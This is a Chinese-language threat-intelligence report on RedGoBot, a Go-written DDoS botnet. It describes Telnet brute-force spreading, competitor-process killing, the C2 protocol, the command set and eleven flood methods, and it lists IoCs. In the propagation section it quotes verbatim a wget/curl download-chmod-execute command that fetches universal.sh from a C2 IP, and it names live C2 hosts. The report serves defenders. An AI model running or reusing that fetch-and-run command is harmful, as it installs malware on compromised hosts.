RedGoBot——新型Go语言编写的DDoS僵尸网络
2022-12-14 13:13:41 Author: 奇安信威胁情报中心(查看原文) 阅读量:38 收藏

概述

    2022 年 11 月底,奇安信威胁情报中心监测到一起未知家族恶意样本利用 Vacron NVR RCE 漏洞传播的事件。经过我们的详细分析,这一系列样本不属于已知的恶意家族。恶意样本运行起来会打印 "GoBot" 字符串,同时参考作者在其资产网站中的输出"@redbot on top",我们把它命名为 RedGoBot。

    RedGoBot 核心样本由 Go 语言编写,当前样本由 Go 1.18.8 编译,目前支持 11 种 DDoS 攻击方式,并且样本内部集成了暴破 Telnet 服务来传播的能力。

根据我们的回溯分析,ReGoBot 历史上有过 3 波传播,样本层面也有过两次明显的变动。虽然目前为止 RedGoBot 的传播量还不是很大,但我们已经看到它在尝试下发 DDoS 攻击指令来测试攻击效果。

    RedGoBot 某种程度上会误杀失陷主机上的正常文件及进程,带来严重后果,因此我们建议检查是否存在 Telnet 弱口令来防御 RedGoBot 的入侵。

    近期我们对 RedGoBot 的攻击活动进行了监控,监测到其对 " tls.mrrage.xyz" 发起过一次 HTTP GET 方式的攻击测试:

    通过奇安信威胁情报平台查询其首个 C2 的解析记录,作者在 9 月完成样本编写后进行过一次扩散,之后恢复平静,近期又开始活跃:

    另一个 C2 近期的扩散数据概况:

样本关键行为分析

    RedGoBot 在传播的时候,会在失陷主机上执行一个恶意 Shell 脚本文件,Shell 脚本文件中用 wget/curl/busybox 三种方式依次下载 RedGoBot 各种 CPU 架构的二进制文件,保存为 Bins_Bot_hicore_[CPU_ARCH] 形式的文件名并尝试执行。RedGoBot 二进制样本支持的 CPU 架构如下:

  • IBM S/390

  • PPC64

  • PPC64-LE

  • MIPS

  • MIPS-LE

  • ARM

  • ARM64

  • x86-64

    本文以 x86-64 样本为例进行分析,样本信息:

文件名

文件大小

文件MD5

Bins_Bot_hicore_amd64

8980865 bytes

FD1FACF3A3FCA0FD6108BBBE98F8D5FD

 日志记录

    样本将运行日志发送给 C2 服务器,此操作将会消耗大量 C2 服务器资源,因此猜测该僵尸网络还处于调试状态:

 删除本地文件

    RedGoBot 样本还会 Kill 掉失陷主机上的“可疑竞争对手”的进程,并删除对应的文件及文件夹,此操作很可能会误杀失陷主机上的进程,删除掉很多正常文件,给失陷主机带来严重危害。

    RedGoBot 要 Kill 的进程,是针对以下目标目录起来的进程,并避开白名单中的目录或文件名。

Kill 进程、删除进程文件所在的目标目录:

  • /tmp/

  • /var/run/

  • /mnt/

  • /root/

    除此之外,RedGoBot 还把以下目录和文件列入”白名单“,不会删除,不会 Kill 对应的进程:

  • /var/run/lock/

  • /var/run/shm/

  • Bins_Bot_hicore*

  • sshd

  • resolv.conf

 持久化

    RedGoBot 会创建一个恶意服务实现持久化,服务详情如下:

 标志字符串

    打印字符串 "GoBot\n":

传播方式

    RedGoBot 用 Go 语言实现了类似 Gafgyt 家族的 Telnet 暴破传播机制,内置 64 组弱口令用来实施暴破。

    一旦暴破成功,将会在失陷主机上执行以下恶意命令:

wget http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh; curl -k -L --output universal.sh http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh;\n

C2 控制协议

上线

    首先,请求 DNS 解析 C2 域名 "peniseater.click":

    如果解析失败则直接使用硬编码IP作为C2:

    上线包为 "GoBot V1:amd64\n":

通信协议类似 Gafgyt,使用明文 ASCII 字符串通信,切割空格进行字段分割:

指令解析

    RedGoBot 目前支持 3 种指令:

  • kill-bot: 退出运行

  • exec: 执行恶意命令

  • DDoS      Attack: 发起 DDoS 攻击

    当 RedGoBot 收到 "kill-bot" 指令时,退出 Bot 进程:

    当 RedGoBot 收到 "exec" 指令,则会执行 Payload 提供的恶意命令:

    当 RedGoBot 收到以下指令,则会发起对应的 DDoS 攻击:

Name

Description

HttpPost_Send

HTTP Flood (POST)

HttpGet_Send

HTTP Flood (GET)

Icmp_Send

ICMP Flood

TCPPsh_Send

TCP Flood (spurious PUSH)

TCPSyn_Send

TCP SYN Flood

TCPAck_Send

TCP ACK Flood

TCPHandshake_Send

TCP Flood

TCPHold_Send

TCP Flood

UDP_Send

UDP Flood

VSE_Send

VSE Flood

OpenVpn_Send

Openvpn UDP Flood

扩展分析

 样本更新历史

    我们通过在样本库中回溯关联,发现该僵尸网络的样本于今年九月开始更新,初始版本中样本并未基于 Golang Interface 实现攻击方式的多态特性,而是根据攻击指令,直接调用对应的 DDoS 方法:

    虽然作者在上线包中将此版本同样定义为 V1,但是我们将此初始版本定义为 V1.0:

作者于几天后的版本中就加入了基于 Interface 实现的多态特性,我们将此版本定义为 V1.1:

可疑的其他相关僵尸网络

    我们对攻击者的资产进行了关联分析,发现作者除了 RedGoBot 僵尸网络以外,疑似还拥有一个 Moobot 僵尸网络,该 Moobot 僵尸网络的部分信息如下:

        C2 = "cdn.cattoloveslily.wtf:38241"

       MD5 = 0C817D839E014CEB4350E6989AC85B08

        ITW_IP = 179.43.175.5

通过TI查询 C2 的解析记录,可以发现该 Moobot 僵尸网络开始传播时间与 RedGoBot 的新样本基本一致,从今年 11 月份开始进行扩张,当前规模同样较小:

IoCs

MD5:

C1492F719A4553BB4280B5A8C8C39095

31BE883A1346F656DF5061BC784060A7

3C404053296EFD41DAE11A0A39BE3808

FD1FACF3A3FCA0FD6108BBBE98F8D5FD

FAD7F1073FE267FCA24927B626AFAA1F

E6327957732150FC03594E4F28933FA4

7E6261537E3499083BB5A519212B955C

CA4A1FCCD1E13A8AC5FEFB57C32F1548

CD56BEA395C994290EBC71CC1482DFE0

AAEE43E63D5A3ABD70FFA774A16C816E

C2:

RedGoBot:

    185.246.221.220:6001

    peniseater.click:6001

    znet.whatareyousearchingfor.net:6001

    185.213.26.101:6001

Moobot:

    cdn.cattoloveslily.wtf:38241

点击阅读原文ALPHA 5.0

即刻助力威胁研判


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247504707&idx=1&sn=90f2042dbb87c1e6c087ea159c0ee299&chksm=ea662434dd11ad221acd190db44fdda20bb351dc2cd2d7fe42b9ba6505213c6bdd0d0bb45bee#rd
如有侵权请联系:admin#unsafe.sh